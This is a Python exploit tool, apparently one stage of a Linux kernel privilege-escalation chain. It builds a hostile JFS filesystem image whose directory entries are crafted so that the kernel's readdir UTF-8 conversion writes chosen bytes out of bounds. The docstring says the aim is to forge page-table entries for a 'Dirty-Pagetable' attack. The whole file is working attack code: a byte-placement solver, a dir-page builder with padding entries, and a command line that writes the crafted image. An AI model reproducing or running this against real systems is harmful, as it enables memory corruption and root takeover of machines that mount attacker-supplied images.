#!/usr/bin/env python3
"""
JFS OOB byte-controlled chain crafter.

Builds a hostile JFS dir page whose readdir UTF-8 stream produces user-supplied
byte values at user-supplied OOB offsets. Used to forge PTE entries for the
Dirty-Pagetable phase of the LPE chain.

Filler layout (matches craft_jfs_oob.py v2; produces jfs_dirent = 3408 going
into the malicious entry):
  - 3 big   (namlen=255, 18 slots, all CJK 3-byte) → advance 3*784 = 2352
  - 11 medium (namlen=27, 3 slots, all CJK)        → advance 11*96  = 1056
  - 1 malicious (namlen=255, 18 slots, byte-controlled chars from solver)

Stream offset of OOB[0]:
    jfs_dirent (=3408) + sizeof(struct jfs_dirent) (=14) = 3422 (start of chain)
    OOB[0] is at dirent_buf + 4096, i.e., stream offset 4096 - 3422 = 674.
    OOB region length: 765 - 674 = 91 bytes max (with all-3-byte CJK chain).

Usage:
  craft_byte_oob.py --in base.img --out oob.img \
      --bytes "67 70 ?? ?? ?? ?? ?? 80"

  ?? = don't-care. Hex byte values: 0x01..0xEF (subject to UTF-8 producibility).
  Unproducible bytes: 0x00, 0xC0, 0xC1, 0xF0..0xFF.
  Continuation-only bytes (0x80..0xBF) require the preceding byte be a leader.
"""
import argparse
import struct
import sys

PAGE_SIZE       = 4096
DTSLOT_SIZE     = 32
DTSLOTS_PER_PG  = 128

JFS_DIRENT_AT_TRIGGER    = 3408   # set by 3 big + 11 medium fillers
JFS_DIRENT_HDR_SIZE      = 14     # sizeof(struct jfs_dirent) head
OOB_STREAM_START_DEFAULT = PAGE_SIZE - JFS_DIRENT_AT_TRIGGER - JFS_DIRENT_HDR_SIZE  # 674


class Infeasible(Exception):
    pass


def utf8_encode(c):
    """Encode a UCS-2 code point the way Linux's utf32_to_utf8 does:
    smallest possible sequence."""
    if c < 0x80:
        return bytes([c])
    if c < 0x800:
        return bytes([0xC0 | (c >> 6), 0x80 | (c & 0x3F)])
    return bytes([
        0xE0 | (c >> 12),
        0x80 | ((c >> 6) & 0x3F),
        0x80 | (c & 0x3F),
    ])


def encode_chars(targets, total_chars=255, min_total_bytes=None):
    """Greedy left-to-right byte-position walker.

    targets: dict {stream_offset: byte_value}
    total_chars: number of UCS-2 chars to emit (= namlen of malicious entry)
    min_total_bytes: stream byte count must reach at least this far

    Returns (chars: list[int], stream: bytes).
    Raises Infeasible if no encoding satisfies the constraints.

    Algorithm: at each char-start position B, look at targets[B], targets[B+1],
    targets[B+2] and the distance to the next constrained offset, then pick
    a 1/2/3-byte char width. Char width is forced when the byte at B is a
    leader (must be 2- or 3-byte) or when later targets demand a continuation
    byte at B+1 or B+2.
    """
    if not targets:
        last_target = -1
    else:
        last_target = max(targets.keys())
    if min_total_bytes is None:
        min_total_bytes = last_target + 1

    sorted_offsets = sorted(targets.keys())

    chars = []
    out = bytearray()
    B = 0

    while len(chars) < total_chars:
        chars_left_after = total_chars - len(chars) - 1   # chars remaining after this one
        bytes_needed = max(0, min_total_bytes - B)

        t0 = targets.get(B)
        t1 = targets.get(B + 1)
        t2 = targets.get(B + 2)

        # next constrained offset > B
        next_target = None
        for off in sorted_offsets:
            if off > B:
                next_target = off
                break

        # ---- Pick L (1/2/3 byte) ----
        if t0 is not None:
            if t0 == 0 or t0 in (0xC0, 0xC1) or t0 >= 0xF0:
                raise Infeasible(
                    f"unproducible leader byte 0x{t0:02x} at stream offset {B}")
            if 0x01 <= t0 <= 0x7F:
                L = 1
            elif 0x80 <= t0 <= 0xBF:
                raise Infeasible(
                    f"continuation byte 0x{t0:02x} at char-start offset {B} "
                    f"(prior char does not extend here; align targets)")
            elif 0xC2 <= t0 <= 0xDF:
                L = 2
            elif 0xE0 <= t0 <= 0xEF:
                L = 3
            else:
                raise Infeasible(f"byte 0x{t0:02x} at offset {B} not classifiable")
        else:
            # t0 unconstrained -- pick from look-ahead
            if t1 is not None and 0x80 <= t1 <= 0xBF:
                if t2 is not None and 0x80 <= t2 <= 0xBF:
                    L = 3
                else:
                    L = 2
            elif t2 is not None and 0x80 <= t2 <= 0xBF:
                L = 3
            else:
                # No continuation forcing nearby; pick L from distance to next target
                if next_target is None:
                    L = 3
                else:
                    dist = next_target - B
                    if dist <= 1:
                        L = 1
                    elif dist == 2:
                        L = 2
                    else:
                        L = 3

        # ---- Validate continuation positions ----
        if L >= 2 and t1 is not None and not (0x80 <= t1 <= 0xBF):
            raise Infeasible(
                f"byte at B+1={B+1} is 0x{t1:02x}; must be continuation "
                f"0x80..0xBF (forced by L={L} at B={B})")
        if L == 3 and t2 is not None and not (0x80 <= t2 <= 0xBF):
            raise Infeasible(
                f"byte at B+2={B+2} is 0x{t2:02x}; must be continuation "
                f"0x80..0xBF (forced by L=3 at B={B})")

        # ---- Char-budget feasibility check ----
        if chars_left_after >= 0:
            # After this char, B advances by L. Then chars_left_after chars
            # produce 1..3 bytes each, i.e. [chars_left_after, 3*chars_left_after].
            new_B = B + L
            remaining_to_min = max(0, min_total_bytes - new_B)
            if remaining_to_min > 3 * chars_left_after:
                # Not enough chars left to reach min bytes. Try to bump L if free.
                if t0 is None and L < 3:
                    if (t1 is None or 0x80 <= t1 <= 0xBF) and \
                       (t2 is None or 0x80 <= t2 <= 0xBF):
                        L = 3
                    else:
                        raise Infeasible(
                            f"can't reach {min_total_bytes} bytes from B={B} "
                            f"with {chars_left_after+1} chars remaining")
                else:
                    raise Infeasible(
                        f"can't reach {min_total_bytes} bytes from B={B} "
                        f"with {chars_left_after+1} chars remaining (L pinned at {L})")

        # ---- Build char value ----
        if L == 1:
            c = t0 if t0 is not None else 0x61   # 'a'
            if c == 0:
                raise Infeasible(f"can't emit UCS-2 0 at B={B}")
        elif L == 2:
            hi = t0 if t0 is not None else 0xC2
            lo = t1 if t1 is not None else 0x80
            c = ((hi & 0x1F) << 6) | (lo & 0x3F)
            if c < 0x80:
                if t0 is None:
                    hi = 0xC2
                    c = ((hi & 0x1F) << 6) | (lo & 0x3F)
                if c < 0x80:
                    raise Infeasible(f"2-byte over-long at B={B}: c=0x{c:x}")
        else:  # L == 3
            hi  = t0 if t0 is not None else 0xE4   # CJK range default (U+4xxx)
            mid = t1 if t1 is not None else 0xB8
            lo  = t2 if t2 is not None else 0x80
            c = ((hi & 0x0F) << 12) | ((mid & 0x3F) << 6) | (lo & 0x3F)
            if c < 0x800:
                # over-long with this leader; try bumping mid
                if t1 is None:
                    mid = 0xA0
                    c = ((hi & 0x0F) << 12) | ((mid & 0x3F) << 6) | (lo & 0x3F)
                if c < 0x800:
                    raise Infeasible(f"3-byte over-long at B={B}: c=0x{c:x}")

        # ---- Encode and check ----
        encoded = utf8_encode(c)
        if len(encoded) != L:
            raise Infeasible(
                f"encoder length mismatch at B={B}: c=0x{c:x} produces "
                f"{len(encoded)} bytes, wanted {L}")
        for i, b in enumerate(encoded):
            tgt = targets.get(B + i)
            if tgt is not None and b != tgt:
                raise Infeasible(
                    f"byte mismatch at B+{i}={B+i}: c=0x{c:x} produces "
                    f"0x{b:02x}, target 0x{tgt:02x}")

        chars.append(c)
        out.extend(encoded)
        B += L

    if B < min_total_bytes:
        raise Infeasible(
            f"emitted {len(chars)} chars producing {B} bytes; "
            f"need {min_total_bytes}")
    return chars, bytes(out)


def parse_byte_spec(s):
    """'67 70 ?? ?? 4B 80' -> [0x67, 0x70, None, None, 0x4B, 0x80]."""
    out = []
    for tok in s.replace(',', ' ').split():
        t = tok.lower()
        if t in ('??', '?', '..', 'xx'):
            out.append(None)
            continue
        if t.startswith('0x'):
            t = t[2:]
        out.append(int(t, 16))
    return out


# ---------------------------------------------------------------------------
# JFS dir-page builder (filler layout adapted from craft_jfs_oob.py v2)
# ---------------------------------------------------------------------------

def ldtentry(inumber, next_slot, namlen, name_le16_22b, index):
    assert len(name_le16_22b) == 22
    return (struct.pack('<I b B', inumber, next_slot, namlen)
            + name_le16_22b
            + struct.pack('<I', index))


def dtslot(next_slot, cnt, name_le16_30b):
    assert len(name_le16_30b) == 30
    return struct.pack('<b b', next_slot, cnt) + name_le16_30b


def chars_to_le16(chars, total_bytes):
    raw = b''.join(struct.pack('<H', c) for c in chars)
    if len(raw) < total_bytes:
        raw += b'\x00' * (total_bytes - len(raw))
    return raw[:total_bytes]


def cjk_utf16(n_bytes, base=0x4E00):
    out = b''
    for i in range(n_bytes // 2):
        out += struct.pack('<H', base + (i & 0x1FFF))
    return out[:n_bytes]


def big_filler():
    head = cjk_utf16(22)
    chain = []
    remaining = 244
    for k in range(17):
        n = min(remaining, 15)
        chain.append((n, cjk_utf16(30, base=0x5000 + k * 16)))
        remaining -= n
    return head, chain


def medium_filler():
    head = cjk_utf16(22)
    chain = [
        (15, cjk_utf16(30, base=0x6000)),
        (1,  cjk_utf16(30, base=0x6100)),
    ]
    return head, chain


def malicious_chain(chars):
    """Split 255 solved chars into ldtentry head (11) + 17 chain slot specs."""
    if len(chars) != 255:
        raise ValueError(f"need 255 chars for malicious entry, got {len(chars)}")
    head_raw = chars_to_le16(chars[:11], 22)
    slot_lens = [15] * 16 + [4]   # 16*15 + 4 = 244 chars
    chain = []
    pos = 11
    for n in slot_lens:
        slot_chars = chars[pos:pos + n]
        pos += n
        chain.append((n, chars_to_le16(slot_chars, 30)))
    return head_raw, chain


def craft_page(header_32b, malicious_chars):
    slots = [b'\x00' * DTSLOT_SIZE] * DTSLOTS_PER_PG
    slots[0] = header_32b

    cursor = 5
    entry_starts = []
    next_index = 1

    def place_entry(namlen, head_name, chain):
        nonlocal cursor, next_index
        head_idx = cursor; cursor += 1
        chain_idxs = []
        for _ in chain:
            chain_idxs.append(cursor); cursor += 1
        first_chain = chain_idxs[0] if chain_idxs else -1
        slots[head_idx] = ldtentry(
            inumber=0x100 + next_index,
            next_slot=first_chain, namlen=namlen,
            name_le16_22b=head_name, index=next_index)
        for k, ((n_chars, slot_name), si) in enumerate(zip(chain, chain_idxs)):
            nxt = chain_idxs[k+1] if k+1 < len(chain_idxs) else -1
            slots[si] = dtslot(next_slot=nxt, cnt=n_chars, name_le16_30b=slot_name)
        entry_starts.append(head_idx)
        next_index += 1

    for _ in range(3):
        h, c = big_filler()
        place_entry(255, h, c)

    for _ in range(11):
        h, c = medium_filler()
        place_entry(27, h, c)

    head_raw, chain = malicious_chain(malicious_chars)
    place_entry(255, head_raw, chain)

    n = len(entry_starts)
    stbl_bytes = bytes(entry_starts) + b'\xff' * (128 - n)

    page = b''.join(slots)
    page = page[:32] + stbl_bytes + page[160:]

    h = bytearray(page[:32])
    h[17] = n            # nextindex
    h[18] = 0            # freecnt
    h[19] = 0xff         # freelist
    h[20] = 128          # maxslot
    h[21] = 1            # stblindex
    page = bytes(h) + page[32:]

    return page, n, entry_starts, cursor


def find_dtpage(img):
    needle = 'dir001'.encode('utf-16-le')
    pos = img.find(needle)
    return -1 if pos < 0 else (pos & ~(PAGE_SIZE - 1))


# ---------------------------------------------------------------------------
# CLI
# ---------------------------------------------------------------------------

def main():
    p = argparse.ArgumentParser(description=__doc__,
                                formatter_class=argparse.RawDescriptionHelpFormatter)
    p.add_argument('--in',    dest='in_path',  required=True, help='baseline JFS image')
    p.add_argument('--out',   dest='out_path', required=True, help='crafted output image')
    p.add_argument('--bytes', required=True,
                   help='OOB byte spec, e.g. "67 70 ?? ?? ?? ?? ?? 80"')
    p.add_argument('--start', type=int, default=OOB_STREAM_START_DEFAULT,
                   help=f'OOB[0] stream offset (default {OOB_STREAM_START_DEFAULT})')
    p.add_argument('--total-chars', type=int, default=255,
                   help='UCS-2 chars in malicious entry (= namlen)')
    p.add_argument('--min-bytes', type=int, default=None,
                   help='minimum total stream bytes (default: oob_start + len(bytes))')
    p.add_argument('--show-chars', action='store_true',
                   help='print resolved char sequence')
    args = p.parse_args()

    oob_bytes = parse_byte_spec(args.bytes)
    targets = {args.start + i: b for i, b in enumerate(oob_bytes) if b is not None}
    constrained = sum(1 for b in oob_bytes if b is not None)
    print(f'[*] OOB byte spec: {len(oob_bytes)} bytes, {constrained} constrained, '
          f'{len(oob_bytes)-constrained} don\'t-care', file=sys.stderr)
    print(f'[*] OOB[0] -> stream offset {args.start}', file=sys.stderr)

    min_bytes = args.min_bytes if args.min_bytes is not None else (args.start + len(oob_bytes))

    try:
        chars, stream = encode_chars(targets,
                                     total_chars=args.total_chars,
                                     min_total_bytes=min_bytes)
    except Infeasible as e:
        print(f'[!] infeasible: {e}', file=sys.stderr)
        sys.exit(2)

    print(f'[+] solved: {len(chars)} chars, {len(stream)} stream bytes', file=sys.stderr)
    oob_len_actual = max(0, len(stream) - args.start)
    print(f'[+] OOB region: {oob_len_actual} bytes '
          f'(stream offsets {args.start}..{len(stream)-1})', file=sys.stderr)

    for off, b in targets.items():
        if stream[off] != b:
            print(f'[!] verify fail at stream {off}: got 0x{stream[off]:02x}, '
                  f'want 0x{b:02x}', file=sys.stderr)
            sys.exit(3)
    print(f'[+] verified all {len(targets)} target bytes', file=sys.stderr)

    if args.show_chars:
        print('chars:', ' '.join(f'{c:04x}' for c in chars), file=sys.stderr)

    with open(args.in_path, 'rb') as f:
        img = bytearray(f.read())
    off = find_dtpage(img)
    if off < 0:
        print('[!] dtpage not found in baseline image', file=sys.stderr)
        sys.exit(4)
    print(f'[*] dtpage @ 0x{off:x}', file=sys.stderr)

    page, n, _, cur = craft_page(bytes(img[off:off+32]), chars)
    img[off:off+PAGE_SIZE] = page

    with open(args.out_path, 'wb') as f:
        f.write(bytes(img))
    print(f'[+] wrote {args.out_path}: {n} entries, slots 5..{cur-1} '
          f'({cur-5} entry slots used)', file=sys.stderr)


if __name__ == '__main__':
    main()